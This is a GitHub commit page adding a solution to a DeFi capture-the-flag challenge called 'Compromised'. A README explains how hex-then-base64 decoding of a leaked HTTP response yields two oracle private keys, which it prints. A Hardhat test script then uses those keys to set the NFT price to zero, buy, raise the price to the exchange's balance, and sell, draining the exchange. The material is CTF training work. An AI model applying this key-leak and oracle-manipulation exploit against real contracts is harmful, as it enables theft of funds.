Skip to content

Commit

Permalink
Challenge theredguild#7 - Compromised
Browse files Browse the repository at this point in the history
  • Loading branch information
kaxxa123 committed Feb 23, 2024
1 parent 0786121 commit 07a3c23
Show file tree
Hide file tree
Showing 2 changed files with 113 additions and 6 deletions.
56 changes: 56 additions & 0 deletions contracts/compromised/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
# Solution

* The `Exchange` contract buys/sells NFTs based on price information provided by the `TrustfulOracle`.

* The `TrustfulOracle` in turn determines the price based on three quotations that are initially set to 999ETH.

* These quotations may be changed by three "sources" identified by three ethereum addresses hardcoded in the `compromised.challenge.js`

* Effectively the solution requires discovering the private keys to which these addresses correspond, such that to be able to manipulate the quotations.

* The private keys are hidden in an HTTP response given in the challenge description:

```
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30
4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34
4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68
59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69
5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d
4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68
59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32
4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c
5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c
4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a
4e 44 42 69 59 6a 51 34
```
* We thus need to discover how to convert this hex data into the private keys. This is done by first converting the two hex blocks to ascii using some [online tool](https://www.rapidtables.com/convert/number/hex-to-ascii.html). The conversion returns:
```
MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4
```
* Next each string must be [base64 decoded](https://www.base64decode.org/). We thus get:
```
0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
```
* Using these two accounts we solve the CTF as follows:
1. From the two oracle source accounts set the price of the NFT to zero.
1. Player 1 buys the NFT for 0 ETH.
1. From the two oracle source accounts set the price of the NFT to the total Exchange ETH balance.
1. Player 1 sells the NFT to the exchange.
63 changes: 57 additions & 6 deletions test/compromised/compromised.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -20,17 +20,17 @@ describe('Compromised challenge', function () {
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player] = await ethers.getSigners();

// Initialize balance of the trusted source addresses
for (let i = 0; i < sources.length; i++) {
setBalance(sources[i], TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
expect(await ethers.provider.getBalance(sources[i])).to.equal(TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
}

// Player starts with limited balance
setBalance(player.address, PLAYER_INITIAL_ETH_BALANCE);
expect(await ethers.provider.getBalance(player.address)).to.equal(PLAYER_INITIAL_ETH_BALANCE);

// Deploy the oracle and setup the trusted sources with initial prices
const TrustfulOracleInitializerFactory = await ethers.getContractFactory('TrustfulOracleInitializer', deployer);
oracle = await (await ethers.getContractFactory('TrustfulOracle', deployer)).attach(
Expand All @@ -53,21 +53,72 @@ describe('Compromised challenge', function () {

it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */

// Create a Wallet instance from the private key
const pk1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
const pk2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";

const source1 = (new ethers.Wallet(pk1)).connect(ethers.provider);
console.log("Source 1: ", source1.address);

const source2 = (new ethers.Wallet(pk2)).connect(ethers.provider);
console.log("Source 2: ", source2.address);


let priceBefore = await oracle.getMedianPrice('DVNFT');

console.log("Setting source1 price...")
await oracle.connect(source1).postPrice('DVNFT', 0);

console.log("Setting source2 price...")
await oracle.connect(source2).postPrice('DVNFT', 0);

let priceAfter = await oracle.getMedianPrice('DVNFT');

console.log("price before", priceBefore);
console.log("price after1", priceAfter);

console.log("Buying NFT...")
let tx = await exchange.connect(player).buyOne({ value: (2n * 10n ** 16n) });
console.log("NFT buy tx: ", tx);

let receipt = await tx.wait();
console.log("NFT buy receipt: ", receipt);

let jackpot = await ethers.provider.getBalance(exchange.address);

await oracle.connect(source1).postPrice('DVNFT', jackpot);
await oracle.connect(source2).postPrice('DVNFT', jackpot);

priceAfter = await oracle.getMedianPrice('DVNFT');
console.log("price after2", priceAfter);

console.log("Selling NFT...")
const event = receipt.events.find(event => event.event === "TokenBought");
if (event) {
console.log("TokenBought", event);

await nftToken.connect(player).approve(exchange.address, event.args.tokenId);
await exchange.connect(player).sellOne(event.args.tokenId);
} else {
console.log("TokenBought event not found in the transaction receipt.");
}

});

after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

// Exchange must have lost all ETH
expect(
await ethers.provider.getBalance(exchange.address)
).to.be.eq(0);

// Player's ETH balance must have significantly increased
expect(
await ethers.provider.getBalance(player.address)
).to.be.gt(EXCHANGE_INITIAL_ETH_BALANCE);

// Player must not own any NFT
expect(
await nftToken.balanceOf(player.address)
Expand Down

0 comments on commit 07a3c23

Please sign in to comment.